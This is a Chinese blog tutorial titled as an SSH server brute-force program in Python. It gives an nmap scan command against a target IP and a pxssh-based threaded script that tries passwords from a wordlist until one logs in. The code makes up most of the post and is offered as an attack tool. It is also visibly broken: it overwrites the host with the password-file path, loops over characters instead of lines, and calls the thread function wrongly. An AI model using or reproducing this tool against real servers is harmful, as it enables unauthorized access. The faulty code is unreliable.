美文网首页python小项目练习
服务器暴力破解的程序(python开发)

服务器暴力破解的程序(python开发)

作者: 编程小蝉 | 来源:发表于2017-06-26 16:35 被阅读87次

    服务器暴力破解的程序(python开发)

    首先我们看一下基本的原理以及过程

    Paste_Image.png

    我们首先看一下准备工作:
    我们需要获取目标机器的IP和SHH端口 ssh端口是可以改变的,所以我们需要去扫描机器的正确的ssh端口。我们使用nmap工具去扫描,使用下面这条命令就可以目标机器上面存在的所有的端口以及服务的名称和使用软件的版本号:

    Nmap -v -p 1-65535 -sV -O -sS -T4 192.168.1.110(目标机器)
    
    Paste_Image.png
    大家可以看到我们的ssh端口是我们的12784。ssh版本是5.3
    现在我们以及获取到我们需要的信息了 IP:192.168.1.110 PORT:12784
    我们可以开始破解了。 Paste_Image.png

    大家可以看到password Found: vagrant这个就是我们的目标机器的密码:

    #python pexpect pxssh远程登录 login()方法可以帮助我们去登录目标机器
    from pexpect import pxssh
    import optparse  #处理我们命令行参数的模块
    from threading import * #多线程 高并发  可以同时登录多个密码
    import time
    maxConnections = 5 #执行最大线程数 可以修改
    #把maxConnection绑定到我们BoundedSemaphore方法 赋值给connection对象
    connection_lock = BoundedSemaphore(value=maxConnections)
    Found = False  #设置一个初始化值 false后面会用到
    Failes = 0 #设置一个初始化值为0
    
    def connect(host, user, password, ports, release): #传了5个变量进去
        global Found
        global Failes
        try:
            s = pxssh.pxssh() #把方法绑定到对象s 方便调用
            s.login(host,user,password,ports) #调用我们的pxssh.login方法并把参数传进去
            print '[+] Password Found:' +password  #打印匹配到的密码
            Found = True #如果等于true就结束
        except Exception, e:
            if 'read_nonblocking' in str(e): #这个字符串表示主机连接次数过多,ssh不对外提供服务
                Failes += 1
                time.sleep(5)  #休息5秒
                connect(host,user,password,False)  #重新调用connect函数
        finally:
            if release:
                connection_lock.release()
    def main():
        parser = optparse.OptionParser("usage%prog -H <target host> -u <user> -F <passwordfile> -P <port>")
        #创建一个对象parser绑定一个帮助信息 自动生成
        parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
        parser.add_option('-u', dest='user', type='string', help='specify target user')
        parser.add_option('-F', dest='passwdFile', type='string', help='specify target password file')
        parser.add_option('-P', dest='ports', type='string', help='specify target ports')
        #当我们输入-p之后会把参数赋值给ports
        (options, args)=parser.parse_args()
        host = options.tgtHost
        user = options.user
        passwdFiles = options.passwdFile
        host = options.passwdFile
        ports = options.ports
        if (host==None) | (user==None) | (passwdFiles==None) | (ports==None):
            #判断获取的值是否为空,如果有一个为空就打印帮助信息
            print parser.usage  #打印帮助信息
            exit()
        fn = open(passwdFiles,'r') #使用open方法打开文件并绑定到fn这个对象
        for line in fn.readline():
            if Found:
                print "[*] exiting: password Found"
                exit()
            if Failes > 5:
                print "[!]exiting: Too many socket timeouts"
                exit()
            connection_lock.acquire() #锁定
            password = line.strip('\r\n')
            print "[-] Testing: " +str(password)
            t = Thread(target = connect(), args=(host, user, password, ports, True))
            #启动多线程,并传入方法connet函数 args是函数的参数
    if __name__ == '__main__':
        main()
    

    如果您对服务器暴力破解和Python相关知识有兴趣,可以加群526929231与大神们共同探讨和学习哦!

    相关文章

      网友评论

        本文标题:服务器暴力破解的程序(python开发)

        本文链接:https://www.haomeiwen.com/subject/apdjcxtx.html